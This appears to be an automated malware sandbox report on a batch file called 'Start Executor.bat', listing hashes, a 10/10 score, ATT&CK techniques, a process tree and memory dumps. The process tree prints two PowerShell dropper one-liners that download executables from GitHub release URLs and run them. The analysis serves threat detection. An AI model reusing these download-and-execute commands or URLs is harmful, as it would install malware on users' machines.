ef81ac0d15b52e782d94a291b6b6541c64d5d09dad0be86cee462d8608527767

Analysis

max time kernel
1528s
max time network
1501s
platform
windows11-21h2_x64
resource
win11-20240709-en
resource tags

arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
submitted
26/07/2024, 13:16

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General

Target

Executor/Start Executor.bat
Size

551B
MD5

fe821790779e191b514f7d90b381d191
SHA1

03be2cfc52ec390a30209c33f7ea3a42589a0785
SHA256

6afbbef338a695004853bb806f146efdd2d216a1fa58cb34fd10509495b4415b
SHA512

425cdb0bd257a71a952293c77984635484dd30a6fc8c9f287100a99016ffc51a884442595eb6eed102fcbceebb6b01f609ba45f5fb2535a3156a8eef04ab50aa

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/vlyian/scorpix/releases/download/vypix/Scorpix-ExecutorV3.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/vlyian/scorpixe/releases/download/vypix/ScorpixDLL.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4944	powershell.exe
4	2680	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4944	powershell.exe
2680	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4944	powershell.exe
4944	powershell.exe
2680	powershell.exe
2680	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5028 wrote to memory of 4944	5028	cmd.exe	79
PID 5028 wrote to memory of 4944	5028	cmd.exe	79
PID 5028 wrote to memory of 2680	5028	cmd.exe	80
PID 5028 wrote to memory of 2680	5028	cmd.exe	80

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Executor\Start Executor.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/vlyian/scorpix/releases/download/vypix/Scorpix-ExecutorV3.exe';$file='Scorpix-ExecutorV3.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/vlyian/scorpixe/releases/download/vypix/ScorpixDLL.exe';$file='ScorpixDLL.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6f974f924033aa21493202e5edfcea2b

SHA1
8f19b88bfc19a6e9bdb2fa4952eda84384a6e62c

SHA256
353db94912ced8058a337a579c2431da31b1934cbb3578e2c63f13eac0d2deaa

SHA512
c3268aca736939c61901ecadfea9c67385ce47a20b4f7f1bd598b0b48761492920cdba5a732b4a77e0887c575fd28de6a8febecc193abb9cb59fe94424dc0cc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_juvz2sfb.ep1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2680-30-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/2680-28-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/2680-26-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/2680-25-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/4944-10-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/4944-15-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/4944-12-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/4944-11-0x00007FFBFD490000-0x00007FFBFDF52000-memory.dmp

Filesize
10.8MB

Download
memory/4944-0-0x00007FFBFD493000-0x00007FFBFD495000-memory.dmp

Filesize
8KB

Download
memory/4944-9-0x000001A7692F0000-0x000001A769312000-memory.dmp

Filesize
136KB

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